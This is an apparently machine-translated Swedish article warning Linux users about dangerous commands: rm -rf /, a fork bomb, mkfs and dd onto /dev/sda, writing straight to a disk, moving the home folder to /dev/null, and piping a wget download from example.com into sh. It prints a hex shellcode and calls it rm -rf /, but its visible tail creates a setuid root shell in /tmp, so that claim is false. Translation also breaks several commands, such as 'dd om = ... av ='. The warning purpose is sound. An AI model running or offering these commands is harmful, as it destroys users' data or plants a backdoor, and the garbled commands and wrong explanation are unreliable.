8 dödliga kommandon som du aldrig bör köra på Linux
Linux terminalkommandon är kraftfulla, och Linux kommer inte att fråga dig om bekräftelse om du kör ett kommando som kommer att bryta ditt system. Det är inte ovanligt att se troll på nätet, rekommendera nya Linux-användare att köra dessa kommandon som ett skämt.
Att lära kommandon som du inte ska springa kan hjälpa till att skydda dig från troll och samtidigt öka förståelsen för hur Linux fungerar. Det här är inte en uttömmande guide, och kommandona här kan remixas på olika sätt.
Observera att många av dessa kommandon bara är farliga om de är prefixade med sudo på Ubuntu - de kommer inte att fungera annars. På andra Linux-distributioner måste de flesta kommandon köras som root.
Bildkrediter: Skull and Crossbones remixed från Jason Ford på Twitter
rm -rf / - Tar bort allt!
Kommandot rm-rf / raderar allt som möjligt, inklusive filer på hårddisken och filer på anslutna flyttbara medieenheter. Det här kommandot är förståeligt om det bryts ner:
rm - Ta bort följande filer.
-rf - Kör rm rekursivt (ta bort alla filer och mappar i den angivna mappen) och tvinga bort alla filer utan att fråga dig.
/ - Berättar rm att starta i rotkatalogen, som innehåller alla filer på datorn och alla monterade medieenheter, inklusive fjärrfilen och flyttbara enheter.
Linux följer gärna detta kommando och tar bort allt utan att fråga dig, så var försiktig när du använder den! Rm-kommandot kan också användas på andra farliga sätt - rm-rf ~ skulle radera alla filer i din hemmapp medan rm-rf. * skulle radera alla dina konfigurationsfiler.
Lektionen: Akta dig för rm-rf.
Förklädd rm-rf /
Här är ett annat koduttag som finns över hela webben:
char esp [] __attribute__ ((avsnitt ("text"))) / * e.s.p
släpp */
= "\ Xeb \ x3e \ x5b \ x31 \ xc0 \ x50 \ x54 \ x5a \ x83 \ xec \ x64 \ x68"
”\ Xff \ xff \ xff \ xff \ x68 \ XDF \ xd0 \ XDF \ XD9 \ x68 \ x8d \ x99”
”\ XDF \ x81 \ x68 \ x8d \ x92 \ XDF \ XD2 \ x54 \ x5e \ xf7 \ x16 \ xf7”
”\ X56 \ X04 \ xf7 \ x56 \ x08 \ xf7 \ x56 \ x0c \ x83 \ XC4 \ x74 \ x56”
”\ X8d \ x73 \ x08 \ x56 \ x53 \ x54 \ x59 \ xb0 \ X0B \ XCD \ x80 \ x31”
”\ Xc0 \ x40 \ Xeb \ xf9 \ xe8 \ XBD \ xff \ xff \ xff \ x2f \ x62 \ x69”
”\ X6e \ x2f \ x73 \ x68 \ x00 \ x2d \ x63 \ x00”
"Cp -p / bin / sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;
Detta är hex-versionen av rm-rf / - utföra detta kommando skulle torka ut dina filer precis som om du hade kört rm-rf /.
Lektionen: Kör inte kusliga utseende, uppenbarligen förtäckta kommandon som du inte förstår.
: () : |: &;: - Fork Bomb
Följande rad är en enkel, men farlig, bash funktion:
: () : |: & ;:
Den här korta raden definierar en skalfunktion som skapar nya kopior av sig själv. Processen replikeras kontinuerligt, och kopiorna replikerar sig kontinuerligt och tar snabbt upp hela din CPU-tid och minne. Detta kan orsaka att din dator fryser. Det är i grund och botten ett avslag på beteende.
Lektionen: Bash funktioner är kraftfulla, även mycket korta.
Bildkredit: Dake på Wikimedia Commons
mkfs.ext4 / dev / sda1 - Formaterar en hårddisk
De mkfs.ext4 / dev / sda1 kommandot är enkelt att förstå:
mkfs.ext4 - Skapa ett nytt ext4-filsystem på följande enhet.
/ Dev / sda1 - Anger den första partitionen på den första hårddisken, som antagligen används.
Tillsammans kan det här kommandot motsvara körformat c: på Windows - det kommer att torka filerna på din första partition och ersätta dem med ett nytt filsystem.
Detta kommando kan också komma i andra former - mkfs.ext3 / dev / sdb2 skulle formatera den andra partitionen på den andra hårddisken med ext3-filsystemet.
Lektionen: Var försiktig med att köra kommandon direkt på hårddiskenheter som börjar med / dev / sd.
kommando> / dev / sda - Skriver direkt till en hårddisk
De kommando> / dev / sda linje fungerar på samma sätt - det kör ett kommando och skickar utmatningen av det här kommandot direkt till din första hårddisk, skriver data direkt till hårddisken och skadar filsystemet.
kommando - Kör ett kommando (kan vara ett kommando.)
> - Skicka utmatningen av kommandot till följande plats.
/ Dev / sda - Skriv utmatningen av kommandot direkt till hårddiskenheten.
Lektionen: Som ovan, akta dig löpande kommandon som involverar hårddiskenheter som börjar med / dev / sd.
dd om = / dev / slumpmässigt av = / dev / sda - Skriver skräp på en hårddisk
De dd om = / dev / slumpmässigt av = / dev / sda linjen kommer också att utplåna data på en av dina hårddiskar.
dd - Utför lågnivåkopiering från en plats till en annan.
if = / dev / random - Använd / dev / random (random data) som inmatning - du kan också se platser som / dev / zero (nollor).
av = / dev / sda - Utmatning till den första hårddisken, ersättning av filsystemet med slumpmässigt skräpdata.
Lektionen: dd kopierar data från en plats till en annan, vilket kan vara farligt om du kopierar direkt till en enhet.
Bildkredit: Matt Rudge på Flickr
mv ~ / dev / null - Flyttar ditt hemkatalog till ett svart hål
/ dev / null är en annan speciell plats - att flytta något till / dev / null är samma sak som att förstöra det. Tänk på / dev / null som ett svart hål. Väsentligen, mv ~ / dev / null skickar alla dina personliga filer till ett svart hål.
mv - Flytta följande fil eller katalog till en annan plats.
~ - Representerar hela din hemmapp.
/ Dev / null - Flytta din hemmapp till / dev / null, förstör alla dina filer och ta bort originalkopiorna.
Lektionen: Tecknet representerar din hemmapp och flyttar saker till / dev / null förstör dem.
wget http://example.com/something -O - | sh - Nedladdningar och kör ett skript
Ovanstående rad laddar ner ett skript från webben och skickar det till sh, vilket exekverar innehållet i manuset. Detta kan vara farligt om du inte är säker på vad skriptet är eller om du inte litar på källan - kör inte otillförlitliga skript.
wget - Nedladdningar en fil. (Du kan också se curl i stället för wget.)
http://example.com/something - Ladda ner filen från den här platsen.
| - Rör (skicka) utmatningen av wget-kommandot (filen du hämtade) direkt till ett annat kommando.
sh - Skicka filen till sh-kommandot, som kör det om det är ett bash-skript.
Lektionen: Ladda ner och kör inte otillförlitliga skript från webben, även med ett kommando.
Känna andra farliga kommandon att nya (och erfarna) Linux-användare inte ska springa? Lämna en kommentar och dela dem!